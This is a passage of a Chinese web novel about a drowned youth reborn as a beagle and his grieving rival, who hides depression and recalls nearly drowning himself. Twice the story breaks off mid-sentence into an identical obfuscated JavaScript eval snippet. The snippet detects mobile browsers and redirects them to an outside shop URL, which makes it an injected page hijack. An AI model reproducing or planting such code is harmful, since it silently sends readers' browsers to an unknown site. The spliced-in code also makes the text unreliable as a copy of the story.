小比的骄傲溢于言表,高高昂着下巴,嘴筒子笔直地朝着前方,微微眯着眼,却不是享受的神情,而是坚定又严肃。 坐得十分端正,挺直胸膛,全身上下都在用力,半个脚掌已经离开了地面,姿势相当高难度。 一阵风吹来,柔软轻盈的大耳朵随风摆动,小比也沉浸其中,觉得自己现在的造型帅爆了。 谢昭衡顿了顿,微微皱眉 这只比格过于通人性,甚至能从它身上看到人类的表现。 他刚深思,就见小比的眼神恢复了清澈的愚蠢,眼神发直,跑向灌木丛,对着刚被雪纳瑞标记的树又标记了一次。 谢昭衡收回目光。 是他想多了,只希望小比不要偷偷吃屎。 …… 过了半小时,谢昭衡牵着小比回家。 顾昀格玩得很开心,身上热气蒸腾,安静下来才发现喉咙渴得都快冒烟了,房门刚打开,他就哧溜一下跑到了水盆旁。 水盆放在地上,他下意识伸手去拿,才发现自己只有爪子。 他强忍下没有手的不方便,模仿狗喝水的姿势,不断靠近水碗。 第一次尝试,他低估了嘴筒子的长度,一头扎进去,水面咕噜咕噜冒起了泡,他也差点被呛到。 他连忙抬起狗头,强忍着没去舔嘴边的水,又重新把握了一下距离,还提前伸出了舌头。 感受到水的清凉,他眼神都亮了,立刻收回舌头,但舌头没有卷住一滴水,只是表面稍微变得湿润。 他只能再想新的方法。 既然狗舌头这么灵活,不如快速地击打水面,溅起水花,他只需要张着狗嘴在那等就行了。 吧唧吧唧吧唧吧唧—— 他终于喝到了水,但大部分的水都溅到了旁边,地板湿漉漉的。 作为一只爱干净的小狗,他立刻跳到一旁,叼着卫生纸过来,准备擦干净地板。 但走到一半,本能再次占领了智商高地,小比眼神变得更加清澈,透着兴奋的光芒。 哇,这是什么。 卫生纸哎。 好好玩。 他像是找到了命中注定最合拍的玩具,趴在地上,用两只前爪固定住卫生纸,头晃来晃去,叼在嘴里重重一扯。 纸絮飘荡开,卫生纸经过九九八十一难,被狗嘴五马分尸,又被水泡软了。 谢昭衡从卫生间里走出来时看到的就是这幕。 原本满满的水碗一滴不剩,周遭地板湿漉漉的,上面铺满了泡软的卫生纸,邪恶比格大王趴在干净的地方,抱着怀里的卫生纸,开心地撕咬。 “……” 谢昭衡投下的影子遮住了光线,顾昀格察觉到不对,下意识抬起头,眼中还带着捣乱后的兴奋。 一人一狗四目相对,顾昀格的理智逐渐回笼。 不对,他在做什么。 他低下头看着怀里的碎卫生纸,又看看狼藉的周围,嘴角止不住地抽搐,理不直气也不壮地为自己找借口。 呃…… 他做了好人好事,奖励自己玩个纸团怎么了! 4. 004 4 . 小比刚来家半天,这已经是谢昭衡第二次打扫卫生了。 他沉默地收拾完一切后,转头看到小比蹲在不远处,坐姿乖巧,两只黑黝黝的眼睛透着纯良无辜的光芒,奶棕色的耳朵自然垂下,弧度饱满,简直是天底下最能治愈人心的小天使。 谢昭衡平静地收回目光。 全都是假象。 他沉默地走到客厅,刚喝了杯水就注意到背后有“哒哒”声追了过来。 他意味不明地低下头,发现小比很开朗地跟在他身后,寸步不离,见他看过来还晃了晃耳朵,从小狗脸上看不到任何心虚和愧疚。 天大地大吃饭最大,难道犯错了就不让吃饭了嘛。 小比饿了。 谢昭衡并没有注意到小狗眼中散发出的对食物的渴望,转头看着窗外,不知为何出神。 小比的耐心有限,喉咙里发出咕噜噜的声音,用爪子扒拉谢昭衡的小腿,攀着膝盖要往上跳。 谢昭衡细细端详了几秒,实话实说:“放弃吧,你腿太短了。” “……” 小比的身形猛然顿住,狗眼瞪得圆圆的,似乎对他的毒舌不可置信。 谢昭衡终于良心发现,从果盘中挑了一个最小的苹果:“想吃?” 苹果的清香仿佛变成了实质,捏着小比的鼻子,把整个狗头都拉了过去,口水都快从嘴角流下来了。 谢昭衡没有养狗的经验,也没有兴致和耐心削皮切块,直接把整个苹果递了过去。 天使小比没有抱怨,趴在地上,用前爪抱着圆溜溜的苹果,鼻子拱了几下才咬了一口,果肉清脆多汁,甜美在舌尖迸发开。 小比吃得眼睛都亮了,抱着苹果啃啃啃,十分卖力,谢昭衡看到它这副样子,仿佛才迟钝地意识到生物都是需要进食的,而今天到现在他都没有吃一口饭。 胃是情绪的器官,他没有半点胃口,但身体已经发出了警告信号,在本能的驱使下,谢昭衡这才步子不急不缓地走到厨房。 小比沉迷苹果不能自拔,不知道谢昭衡什么时候离开的,他越吃越嗨,馋虫占领了智商高地,化身成了贪心鬼,对着圆鼓鼓的苹果,张大嘴巴咬了一口。 他刚要迫不及待地往下咽,突然发现嘴巴合不上了。 嗷呜啊呜啊呜呜。 前面两颗尖牙深陷在苹果中,咽不下也吐不出来,小比试图用两只前爪扒拉,但狗爪不如手灵活,吭哧吭哧努力了半天,也没能解决问题。 顾昀格没有办法,只能含着苹果去找谢昭衡帮忙。 谢昭衡听到清脆的哒哒声,立刻知道小比过来了,垂眸看着它。 小比仍然是那副纯良无辜的样子,柔软的耳朵垂到下巴,张大的嘴巴里含着一颗红彤彤的苹果,可爱得像是动画里的角色。 谢昭衡思考几秒,排除了小狗故意含苹果卖萌的可能性,“我不想吃,你自己吃吧。” “……”鬼才想给你吃呢! 顾昀格忍不住哼哼了两声,用鼻子碰了碰谢昭衡的裤脚,又努力仰起头,试图让谢昭衡发现牙卡在苹果里了。 谢昭衡却在给小狗讲道理,“你仰头也没办法把苹果整个咽下去,放弃吧,你只会噎死自己。” “……” 熟悉的味道,熟悉的配方。 谢昭衡独有的气死人不偿命的语言艺术。 顾昀格气得想揍他,却发现自己跳起来只能打到他的膝盖,更加气了,恶向胆边生,把卡在牙上的苹果像流星锤一样怼了过去。 谢昭衡终于从这个举动中,发现了不对劲。 如果牛顿的棺材板还能压得住,这个苹果应该会自由落地,而不是还牢牢地含在狗嘴里。 他蹲下身平视着小比,语气平直:“原来是卡住了。” 他伸出两根手指,轻松地把苹果拿了出来,小狗嘴这才合上。 顾昀格活动了下酸涩的下巴,忍不住白了谢昭衡一眼。 察觉到小比的幽怨,谢昭衡主动做出补偿,“马上就能吃晚饭了,还是牛肉。” 不争气的泪水差点从嘴角流下来,小比立刻忘记了刚才的龃龉,乖乖地蹲在旁边,望眼欲穿,尾巴飞快地摇来摇去。 他喜欢吃牛排,但作为不挑食的乖宝宝,明白只吃肉类会上火的道理,想让谢昭衡再给他夹点蔬菜,但张开嘴只能发出撒娇般的哼唧声。 他在原地转了一圈,终于想到办法,跑到放在客厅的绿植旁,体贴地挑了一片快要掉落的叶片,含着回到厨房。 他用鼻子碰了碰谢昭衡的腿,展示他叼来的树叶。 谢昭衡问道:“你想吃这个?” 小比眼睛一亮,激动地扯着嗓子应了一声。 谢昭衡点点头,表示他明白了。 顾昀格这才放心了,趴在一旁耐心地等着。 过了一会儿,他终于等到了自己的晚饭,仍然是不加任何调料的牛排,肉鲜嫩柔软,八分熟刚刚好。 至于他要的蔬菜…… 他看着盖在牛肉上的那片枯黄树叶,沉默许久,狗躯一震,不可置信地看着谢昭衡。 我叼来叶片是暗示我想吃绿色的蔬菜,不是真要吃这片树叶啊!! 不能多做一点阅读理解吗!! 小比为了抗议,呸的一声把树叶吐在地上,又用脚踢远了。 谢昭衡看了他几眼,又去霍霍绿植,选了一片更绿的叶片,放在小比的牛排上。 “……” 服了,人机谢昭衡。 作为狗主人,谢昭衡也算是温柔体贴,有求必应,但问题是小比的身体里有个人类的灵魂,要求的是举一反三,人类待遇。 美食当前,小比的口水泛滥成灾,他也懒得再跟谢昭衡计较这个问题了,装作从没提出过这个要求。 吃完饭后,顾昀格本着饭后不能剧烈运动的养生原则,耐心休息了半小时,之后在沙发上上蹿下跳,跑酷消耗了活力后,身体一翻,整只狗像是突然断了电,直接进入了梦乡。 …… 顾昀格本以为自己会像做人那般一觉睡到天亮,但他睁开眼时,看到外面还是一片漆黑。 他又在沙发上瘫了一会儿,这才不情不愿地站起身,看了眼放在旁边的钟表,发现才半夜两点。 实在睡不着,他又不敢扰人清眠,只能悄无声息地在客厅遛弯,不知不觉走到了谢昭衡卧室门口。 卧室门没有完全关上,他敏锐的听觉捕捉到了一道呼吸声。 不需要经过思考,狗的本能便告诉他呼吸声不算平缓,并不是睡着的状态。 顾昀格心头一动,从门缝钻了进去。 …… 谢昭衡看着窗外的夜空,许久后眼睫才轻颤了一下。 夜空漆黑深邃,明明就在眼前,伸手却触不可及,就像那天在海里,他往下看的那一眼。 高考后的那个暑假,有人失落有人欢欣,但不管结果如何,他们注定分别。 大家十分不舍,看到有人在群里提议一起去海边度假,纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457045|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷响应,其中人缘最好的顾昀格自然不能缺席。 他当时也看到了消息,隔着冰冷的屏幕,从只言片语中察觉到了顾昀格的勉强。 父母离世后,顾昀格手头拮据,没有足够的钱支撑他到海边度假,但他不想让朋友伤心,还是同意了。 度假的第三天,他们约定坐着电动艇出海玩,船上的位置有限,只容六个人,而顾昀格身边总是围绕着那么多人,他这个死对头自然被排除在外。 他只能站在原地等第二艘电动艇出发。 那天的一切他都不记得了,没有清新的海风、灿烂的阳光和湛蓝的天空,更没有翻涌着浪花的大海,他只是看着顾昀格远去的方向,突然听到了被海风吹得破碎的尖叫声。 他什么都没有看到,却有种强烈的不安感,心脏剧烈跳动,狠狠撞击着胸骨,让他整个人跟着震颤起来。 电动艇不断靠近,他的目光紧紧锁住船上的人,想看到那个熟悉的身影。 但没有,哪里都没有。 那艘电动艇上的所有人都在急切地呼喊顾昀格的名字,紧紧盯着海面,身体前倾,几乎要探入海中,却只是徒劳地抓着空气。 他猛然意识到了什么,等回过神来已经跳入了大海。 他在顾昀格消失的地方不断寻找,海面像一张脆弱的薄膜,明明能轻易搅起涟漪,却永远没办法打破,将他和顾昀格牢牢分隔在两端。 之后他渐渐失去力气,被大海吞噬,窒息感涌来,他没有挣扎而是闭上了眼睛。 他想跟顾昀格同在一处,至于是哪里都不重要。 但最终他被还是人救起了。 …… 收拢思绪,谢昭衡重重地闭了下眼,在不断加快的心跳中试图稳住呼吸。 身体和精神极度疲惫,神经紧绷,耳鸣声连成了线,牢牢缠在他的脖颈上,越收越紧,呼吸随之不畅,头先变得沉重,之后整个身体像是陷入了淤泥之中,动弹不得。 生命的前十六年,这种状况经常发生,他对这样的痛苦习以为常,甚至变得麻木。 顾昀格的出现改变一切,他跟世界重新建立联系,有了真切的实感,他变得越来越好,高中三年再也没有这种濒死的感觉,直到意外发生。 太阳坠入深海,救赎被剥夺,他又被重新打入地狱。 事到如今,药物的作用杯水车薪,他只能僵硬地转过头,看着窗外的夜空,尽力睁大眼睛,试图包揽更多的景象。 夜空和深海那么像,让他可以自欺欺人,催眠自己还和顾昀格同出一处,以此来获得一点点安宁。 都过去了四年了,顾昀格还在救他。 他眨也不眨地看着,呼吸渐渐变得平稳,但夜空突然消失了,取而代之的是一片毛茸茸,以及比星光还要闪亮的一双狗眼。 “汪呜。” 顾昀格凶巴巴地瞪着谢昭衡。 狗类的本能让他通过呼吸声判断谢昭衡没有睡着,但他仍然将信将疑,打算进来看看。 屋里没有半点亮光,他细细观察了一番,发现谢昭衡没有熬夜玩手机,而是像傻子一样看着夜空。 不仅如此,谢昭衡半夜还骚包的喷香水,越靠近他空气中的苦味越浓,都快到了呛人的程度。 而他小腹鼓胀,憋得十分辛苦,顾昀格忍无可忍,用前爪攀着床沿,后脚撑地直立在床边,凶巴巴地瞪着谢昭衡。 你为什么还不睡觉! 是不是不想早上六点起床遛狗! 回!答!我! 5. 005 第五章 谢昭衡默默闭上眼睛,怀疑自己的视力出了问题。 顾昀格更气了,用爪子扒拉他。 你。 就是你。 look my eyes! 视觉和触觉不可能同时出问题,谢昭衡终于认清现实,跟小比四目相对,面面相觑。 顾昀格忍不住哼哼了两声。 他原本打算体谅年轻人的作息,强忍到早上六点,没想到谢昭衡丝毫不领情,不玩手机就是干熬夜。 他又往前扒拉了一下,试图捂住谢昭衡的眼睛。 不用语言沟通,谢昭衡便从小狗脸上清楚地捕捉到了怨念和愤怒,再加上这两只不断向前探的小狗爪子,他毫不怀疑自己再不睡觉,将会面对很可怕的事情。 一人一狗僵持了几秒,谢昭衡率先妥协了,闭上眼睛。 顾昀格仍然维持着站立的姿势,一双亮晶晶的狗眼锁住谢昭衡的脸,生怕他耍赖,熬夜不睡觉。 谢昭衡只是装装样子糊弄狗,见身边没有动静了,再次睁开眼,视线晃了几下,最后落在趴着睡觉的小比身上。 小比睡着时像个小天使,神情纯良奶呼呼的,下巴搁在爪爪上,另一条腿伸直,格外放松惬意。 谢昭衡愣了愣,眼前不受控制地浮现出一副画面。 高中教室,天空湛蓝,绿树成荫,清风浮动。 窗帘微微扬起,在空中划过优美的弧线,光影晃动,明亮的日光洒在书桌上,也洒在趴着睡着的人脸上。 他站起身挡住了阳光,睡着的人微蹙的眉头渐渐舒展,一只手垫在脸下,明明人很清瘦,脸颊却很有肉感,挤出了一圈鼓鼓的肉,另一只手自然伸直,手臂线条流畅纤瘦,手背上青色的筋络微微鼓气,手指修长,光点在指尖跳跃。 睡姿跟小比一模一样。 谢昭衡知道这个睡姿很常见,从一只狗身上看到熟悉感,联想到顾昀格很荒谬,但他只能这样做。 这是他的最后一根救命稻草,自我催眠就算时间过去了四年,物是人非,周遭还是处处有顾昀格的影子,他们之间的联系没有断。 顾昀格一直都陪在他身边。 这个念头对谢昭衡有无比强大的抚慰作用,心底某处空荡荡的地方被填满了一些,神经不再紧绷,压抑许久的困意涌来,身体发出的求救信号将他坠入梦乡。 通过呼吸,装睡的顾昀格察觉到谢昭衡睡熟了,在床边转了一圈,就地趴下,直接化身成宿管,就在这盯着谢昭衡好好睡觉。 …… 天刚亮,谢昭衡就睁开了眼。 眼底没有半点困顿和迷糊,无比清明,仿佛刚刚不是睡早了,而是直接晕倒,失去了意识。 早起往往十分艰难,大多数人都会在这一刻意识到睡眠的美好,恨不得跟床黏在一起,但谢昭衡没有半点犹豫和赖床,直接起床洗漱。 顾昀格都看呆了。 才五点,太早了吧。 虽然他的膀胱早已鼓鼓囊囊,但还是觉得早过头了。 如果真让谢昭衡此刻带他出门,传出去太有损比格的名声。 在顾昀格扭扭捏捏时,谢昭衡已经换好衣服,在门口等他了,一副“你怎么还不过来”的表情。 “……”行吧,成全你。 早上五点半,整个小区寂静无声空无一人,忍人和他的小比已经出门了。 到了专门的宠物活动场地,顾昀格随机挑选了一棵幸运树,为它浇水施肥。 鼓胀的小腹终于得到解放,小比爽的打了个激灵,对着升起的太阳,小小声地“wer”了一声,做起了逐日的小比,在活动场地狂奔。 小比撒花似的跑了一圈又一圈,精力充沛,谢昭衡却一动不动地站在旁边,显得死气沉沉。 顾昀格跑爽了后,终于顾得上他了,站在灌木丛边缘,摇着尾巴却不靠近。 谢昭衡静静地看着小比,像是受到了某种感召,往前走了一步。 离开树荫,明媚的阳光洒满全身,温暖又熨帖,像是被子一般被晒得松软轻快了一些。 谢昭衡愣神了几秒,眼神这才有了些许波动,缓慢地抬起头,像是才发现太阳一般。 顾昀格见状差点笑出声。 果然是货真价实的人机,都有充电开机这一说。 他终于放心了,继续转身完成他的标记大业,没再搭理谢昭衡。 谢昭衡一动不动地站着,沐浴着阳光,状态比之前好了许多,昨晚难得安稳地睡了几小时,身体的疲惫终于得到了缓解,不再像一张拉满到极致的弓,随时会崩溃了。 他仰头看着太阳越爬越高,突然明白大家为何对朝阳如此着迷。 因为它代表着新生和希望。 …… 顾昀格回家吃完早饭了,又睡了个回笼觉,原本睡得好好的,但突然打了个喷嚏,把他从梦中惊醒了。 他眯着眼睛,用前爪蹭了蹭发痒的鼻子,小声念叨:到底谁在挂念我? 还真有人挂念着他。 另一边,付谊时临时抱佛脚写了一篇狗屁不通的论文,虽然分数不会太高,但总算避免了挂科的风险。 他看向瘫在一旁脸色煞白,仿佛被吸光了精|气的姜宇,问道:“原主人联系你了吗?” 姜宇的大脑已经转不动了,几乎遵循着本能说道:“主人请尽情吩咐妲己,你要开一把吗?玩什么位置?” 付谊时:“……” 额角青筋直跳,他气得一巴掌扇过去,“我说是比格的原主人!你脑子里到底装着什么啊!” 姜宇自知理亏,挠了挠头:“虽然忙着写论文,但我可没忘了这件事,每天早中晚三遍去打招呼,但对面一点消息都没有。” “原主人是靠不上了,我们再想别的办法吧。” 姜宇试了好几次,才翻身坐起,“要不然我们找个宠物店寄养?” “这也是个办法,就是苦了小比。” 付谊时叹了口气,小比和谢昭衡他总要亏待其中一个:“不知道昭衡跟狗相处得怎么样,比格精力充沛又那么闹腾,不能当抚慰犬,万一让昭衡的病情加重了怎么办。” 姜宇的思绪一直被论文占据,此刻终于问出了一直困扰他的那件事:“你还没跟我说明白呢,为什么要找抚慰犬,昭衡还需要抚慰吗?” 在他心目中,谢昭衡自带光环,是名副其实的天之骄子。 家境优渥,头脑聪明能力强,还长了一张万里挑一的帅脸,性格更是顶尖的好,他从来没见过这么温柔体贴又情绪稳定的人。 无论如何,他都没办法把谢昭衡跟心理问题结合在一起。 付谊时顿了顿,解释道:“你知道昭衡一直在吃药吧。” 姜宇点点头:“知道啊,我之前问他,他说是维生素。” “我那天偶然看到药瓶,上网搜出结果后我也不敢相信,又专门去问了医生,医生肯定了我的推测,还说以昭衡吃的药量,他的心理问题非常严重。” 姜宇想了一会儿,“昭衡表现得无比正常,却又有严重的心理问题,那这事可就复杂了。” 付谊时忍不住瞪了他一眼,“所以我才想送只抚慰犬帮助他,没想到你这么不靠谱,全都搞砸了!” 姜宇也十分自责心虚,主动把头送到付谊时手边,让他拍着解气。 动手后堵在胸口的气才顺畅了,付谊时不仅关心谢昭衡,也平等地关心着小比,“昭衡没养过狗,一上来就是这么高难度的,估计他不知道怎么照顾比格。” 姜宇想到比格大王那天吃的牛排,舔了舔嘴唇,“那也比我好,我还没有吃过空运来的和牛呢。” 付谊时:“……” 净说大实话,这下他也不如狗了。 两人面面相觑了足足一分钟,同时下了决定。 他们一个负责委婉询问谢昭衡的心理问题,另外一个负责照顾小比。 姜宇搜到最受欢迎的狗饭配方,又去超市买了最新鲜的食材,提着大包小包去找谢昭衡。 在门外等待时他们十分忐忑,等看到谢昭衡全须全尾地站在面前时,这才松了口气。 他们都看过“比格犬受害者联盟”的几篇世界名著,生怕谢昭衡在他们来之前就想抱着比格大王一起亖。 他们对视一眼,进门后不动声色地打量四周,发现环境干净整洁,窗明几净,并没有他们想象中比格大王作天作地,疯狂拆家后留下的烂摊子。 顾昀格也在观察着他们,准确来说是观察着谢昭衡如何跟他们相处。 他趴在沙发上,眼睁睁地看着他熟悉的死对头在开门的那一瞬间,变成了同窗眼中温文尔雅的“谢昭衡”。 他自认没有错过一个细节,但仍然没有找到谢昭衡变化的原因。 顾昀格下意识靠过去,但他刚有动作,一张大脸就怼到了他面前。 姜宇恶补了比格受害者联盟的数本巨著,但亲眼看到小比的一瞬间,还是被萌得失去了理智,只要蹭蹭贴贴。 但在顾昀格心目中,他们是同龄人,要遵循人类的交往法则,不必有太过亲密的举动,这落在姜宇眼中就成了小比刻意躲避他想要摸摸的手。 姜宇有些受伤,决定认真做顿狗饭,俘获小比的芳心。 这是他第一次下厨,但胜在食谱简单,很快就一比一复刻出了最受欢迎的狗饭。 顾昀格早就闻到了香味,馋得不断舔嘴唇,靠着最后一丝理智才克制住去扑姜宇的冲动,只是蹲在门口等待。 姜宇端着狗饭转过身,看到小比眼亮晶晶的,身后的尾巴都快摇出幻影了。 他感到莫大的荣耀,觉得这把稳了,是跟小比的双向奔赴。 “这是我特意给你做的,超级香。” 姜宇蹲下|身,在顾昀格的星星眼中放下了狗饭。 顾昀格看清后,整只狗愣在原地。 “……” “……” “……” 这堆灰不拉叽的马赛克是什么?!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457046|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他第一次对食物的色香味产生了深刻的理解,明明香味诱人,但面对着碗里这堆打成糊糊,搅拌在一起的食物却下不了口。 小比围着碗边转了两圈,急得直哼哼,十分为难。 姜宇也愣住了,不知道哪里出了问题,又把碗往小比面前推了推,“我特意挑的最新鲜的食材,人都可以吃。” 联想到小比之前不让他摸肚子的举动,姜宇觉得一定是因为他们关系生疏,小比不信任他,才会拒绝吃狗饭。 “相信我,里面没下毒,很好吃的,我保证,我是好人,真的!” 姜宇说得嘴巴都要干了,情急之下,直接舀了一勺放进嘴里,想给小比证明。 顾昀格看着眼前这个人类吃了一勺打成泥状的马赛克食物,还美味地吧唧了下嘴,三观都快震碎了 牛啊,竟然比狗还异食癖。 谢昭衡和付谊时正好从厨房里出来,看着捧着狗饭吃得香甜的姜宇,纷纷停下脚步。 付谊时尤其震惊和混乱,不明白自己有何特殊之处,身边的两个朋友看似正常却都有心理疾病。 他脑海中自动浮现出了跟姜宇相处的画面,但觉得姜宇不像是有心理问题……难道是特殊群体? 他想上前询问理由,但又怕让谢昭衡产生不好的联想,只能意味深长地拍了一下姜宇的肩膀,“你在做什么?” 姜宇满腹委屈,“我这么用心,选的都是新鲜的食材,小比竟然不吃!” 谢昭衡沉默几秒,把剩下的仅煮熟的食材随意堆在盘子里,放在小比面前。 小比立刻低下头,吃得很开心。 姜宇更委屈了,“为什么!我特意打成了泥,各种食材也有科学的配比,为什么不吃我的!” 付谊时无奈安慰:“跟狗怎么讲道理,你也别强求了。” 姜宇只觉得一腔真心喂了狗,“那我做的狗饭怎么办。” 付谊时和谢昭衡齐齐看向他,欲言又止,视线又不约而同地落在他还沾着食物残渣的嘴上。 姜宇:“???” 姜宇:“!!!” “这是狗饭,我才吃呢!” 付谊时嘴角抽搐了两下,“你不是已经吃过了吗。” “那是为了让小比相信我没在里面下毒,这真的可以吃” 他下意识看向碗里的这堆马赛克,回味了一下刚才的味道,不算难吃但莫名想“yue”。 他大概猜到了狗不吃的原因,不再纠结这个问题,把碗推远了一些。 顾昀格美餐了一顿,有肉有蛋还有菜,感觉狗生又上了一个巅峰。 等理智不再被馋虫操控,他舔了舔嘴角,视线落在沉默坐在旁边的姜宇身上。 谢昭衡只会一味煎牛排,从不注重营养搭配,而姜宇买了新鲜的食材,好心好意给他做狗饭,他却一点也不赏脸,确实太伤人心了。 顾昀格深刻反省,主动走过去哄姜宇。 没想到姜宇心态很好,已经把自己哄好了,夹着嗓子跟他对话:“小比吃饱了吗?” 顾昀格蹲在他面前,非常乖巧端庄。 姜宇刚想继续跟他聊天,突然意识到了什么,转头去问谢昭衡:“对了,你给小比起的什么名字?” 谢昭衡摇了摇头,“没起名字。” 姜宇愣了愣:“这么长时间都没起名字,那你平时怎么叫小比。” 谢昭衡一直“你来我去”,他觉得十分顺口,不觉得有什么问题。 姜宇对此十分感兴趣,认真想了一会儿,“小比我给你几个参考,如果你满意就叫一声。” “富贵。” “来财。” “暴富。” “赚大钱。” 顾昀格:“……” 虽然我也有同样美好的愿景,但这四个名字都有点土。 付谊时从毫无表情的小狗脸上读懂了它的心情,忍不住骂道,“能不能别把你的审美强压在小比身上,这几个名字都太土了。” “那你起一个。” “比格大王要有霸气的名字。” “那比格大王适合什么名字?” “比格大王……” 付谊时语气一顿,突然发现小比一直在冲着他们叫。 他奇怪地皱了皱眉,刚觉得费解,突然福至心灵,意识到了什么。 他试探地说道:“比格大王?” 小比“wer”了一声。 他采取排除法:“比格?” 小比保持安静。 “大王?” 小比仰头长“wer”。 付谊时和姜宇对视一眼,十分默契地说道,“小比想要大王这个名字?” “wer!” 谢昭衡过来时,这两人一狗已经背着他做了决定,姜宇兴奋地说道,“小比以后就叫大王了。” 顾昀格十分满意这个名字,摇着尾巴走过来,矜持地蹲在一旁,不遗余力地占死对头的便宜。 小弟,以后大王罩你。 6. 006 6 . 顾昀格维持着高冷矜持的姿态,但身后飞快摇摆的尾巴出卖了他。 谢昭衡明明读懂了小比的情绪,却依旧没有叫他的名字。 顾昀格对此十分不满,决定单方面跟他冷战,转头去宠幸另外两个人类。 小比魅力无限,只需要稍微施展手段,另外两个人类就成了他的忠实信徒。 姜宇更是与有荣焉。 他运气也太好了吧,竟然挑中了超绝隐藏款! 姜宇不断地朝付谊时使眼色,付谊时招架不住,再加上心里有所动摇,跟谢昭衡委婉开口,“比格这个品种精力充沛,我担心你一个人太受累了。” 谢昭衡顿了顿,没有立刻开口。 在此之前,他会同意这个提议,但如今两个人没有经过他的同意,自作主张地给比格起了名字。 一道声音凭空出现在耳边,让他无比想念: “猫猫,我不能给你起名字,起了名字就是家人了,但我已经没有家了,怎么能给你一个家呢。” 名字有特殊的含义,也代表着某种羁绊。 对他来说,这就不是一只毫无瓜葛的小比了。 谢昭衡在心底叹了口气,妥协道:“没关系,我一点也不累,我们相处得很好。” “那我们就接走……啊?你的意思留下吗?!” 付谊时本以为谢昭衡会立刻同意,迫不及待送走这个麻烦,没想到他竟然会做出这种决定。 他张开的嘴又闭上,给姜宇又递上了一个眼神。 姜宇莫名有些失落。 他刚刚跟付谊时用眼神达成默契,准备从牙缝里省出点生活费,给小比租个房子,先照顾他这大半年,毕业后再带它回家。 他都在畅想未来了,没想到谢昭衡竟然一反常态地决定留下小比。 付谊时担心他的情绪会影响到谢昭衡,偷偷在桌下踹了他一脚,接着笑道,“以后如果你有事情要忙,我们两个可以帮忙照顾大王,交给我们你就放心吧。” 姜宇的眼神立刻亮了,“对对对,到时候你直接打电话嘛,这里离学校很近,我们立刻就能赶过来。” 谢昭衡点点头,接受了他们的好意。 临近毕业,学校事情很多,付谊时和姜宇又聊了一会儿就准备回去了。 两人走后半小时,顾昀格还沉浸在对他们的欣赏中不能自拔。 多亏他俩来了,谢昭衡才知道要为小比起名,他也得到了自己满意的名字。 谢昭衡却丝毫不配合,称呼他依旧“你”来“我”去的。 顾昀格:“……”你看我搭不搭理你。 谢昭衡继续跟他说话: “吃水果吗,你过来我就给你。” “为什么不动,身体不舒服?” “你是不是听力有问题?” 刚问完,谢昭衡就看到比格大王耳朵动来动去,明明听到了却仍然安稳地趴在沙发上,时不时撩起眼皮,给谢昭衡一记飞刀眼,以此表达抗议。 可谢昭衡还是认不清自己的地位,恭敬地喊“大王”,依旧在他耳边絮絮叨叨,顾昀格实在烦得不行了,转了个圈面朝里,用屁|股对准他。 谢昭衡读懂了小笔的情绪,知难而退。 顾昀格只是假装在休息,注意力都投入到跟谢昭衡的斗智斗勇中,见人不再叫他了,他耐不住性子,往后偷瞄了一眼,发现客厅空空荡荡,谢昭衡不知去哪里了。 他伸了个懒腰,悄无声息地从沙发上跳下来,摇着尾巴,挨个屋寻找谢昭衡的身影。 最后他在卫生间找到了谢昭衡,谢昭衡并没有注意到他,而是专注地看着镜子,好像是在欣赏自己的帅气。 呵,自恋狂。 顾昀格毫不客气地翻了个白眼,恶作剧地想上前揭穿谢昭衡的自恋,让他难为情,但突然察觉到了不对。 谢昭衡的情绪和眼神十分平静,严肃得像是在研究某个课题,死死地盯着镜子,嘴角抽动了几下后,肌肉仿佛才被激活,嘴角微微弯起,不断调整着弧度,神情随之变化。 顾昀格眼睁睁地看着他所熟悉的冷漠臭屁的死对头变得温文尔雅。 一直萦绕在顾昀格心底的疑问解开了。 并不是四年的时间跨度太长,让谢昭衡的性格发生了改变。 他的温文尔雅,阳光开朗都是伪装出来的,微笑都需要对着镜子一遍一遍地调整。 所以在此之前,谢昭衡在他眼中才像是精神分裂症一般,外人面前和自己独处时是截然不同的两个样子。 顾昀格越想越奇怪,忍不住皱起眉。 他们针锋相对了整整三年,注意力都在彼此身上,他算是最了解谢昭衡的人。 谢昭衡性格人机冷漠,直来直往,从不会虚与委蛇刻意伪装,更不会迎合外界的眼光和看法,违心改变自己。 思来想去,猜测了种种可能,顾昀格还是想不出谢昭衡伪装改变的原因,彻底被难住了,整张小狗脸都变得皱巴巴的。 就在这时,谢昭衡终于调试出了令他满意的笑容,连眼神都变得十分陌生,就像他洗脑成功,都骗过了真实的自己,变成了另外一个人。 顾昀格看着近在咫尺的谢昭衡,那种强烈的熟悉感,惊骇得他狗毛都要炸开了。 真不是他自作多情了。 他刚刚竟然透过谢昭衡的笑容,看到了他自己。 ??? 谢昭衡是不是有病啊,都过去了四年了,为什么平白无故对着镜子模仿他的笑! 难道是故意挑衅? 但他已经变成狗了,谢昭衡没可能认出他。 顾昀格的表情扭曲了一瞬。 扪心自问,他也是会神经一下,某天看着镜子莫名其妙地模仿下死对头,但绝对不会对着镜子一遍一遍地调整,都快把自己洗脑成另外一个人了。 从正常人的角度想不出原因,那就只能是谢昭衡有病了。 等等,谢昭衡好像真有病…… 之前他的思绪一直被变成狗后地各种突发情况占据,顾不上其他,如今静下心来,一些细节浮现在他脑海中。 他作为抚慰犬来到谢昭衡身边,这意味着谢昭衡存在某种心理问题,无法自我调节才需要外界抚慰,可他熟悉的谢昭衡会出现这种情况吗? 